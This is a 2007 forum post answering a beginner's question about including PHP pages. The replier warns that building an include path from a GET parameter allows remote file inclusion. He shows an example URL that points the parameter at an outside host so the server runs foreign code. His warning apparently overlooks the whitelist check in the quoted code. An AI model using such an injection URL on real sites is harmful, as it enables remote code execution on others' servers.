|
Posted by Ulf Kadner on 08/16/07 15:48
Heikki wrote:
> first. sory about bad english.
me 2
> my index.php has link-menu in a right side, that opens something.php
> next to the menu.
>
> something.php has a link link-menu at the top of the page that should
> open stuff.php under this last menu.
>
> the broblem is that stuff.php opens to the place of something.php. so
> the top link-menu disapears.
>
> $sivut = array('something');
>
> if (in_array($_GET['sivu'], $sivut)) {
> include ($_GET['sivu'] . '.php');
This is not a answer to your asked problem but a answer to a other Problem.
Can you give me the URL of youre Script? Why? Im bad! ;-) What you are
doing here is may good to easy hack youre site/server.
"Examine everything, trust nobody!"
Example:
If i call your script at follow:
?sivu=http://example.com/mybad-script
It will include an *run* my file http://example.com/mybad-script.php if
it is delived in text/plain with usable PHP-Code. So i can do everything.
So never do things like that!
Ulf
--
_,
_(_p> Ulf [Kado] Kadner
\<_) Mitglied der Freizeitvögel? ;-)
^^
Navigation:
[Reply to this message]
|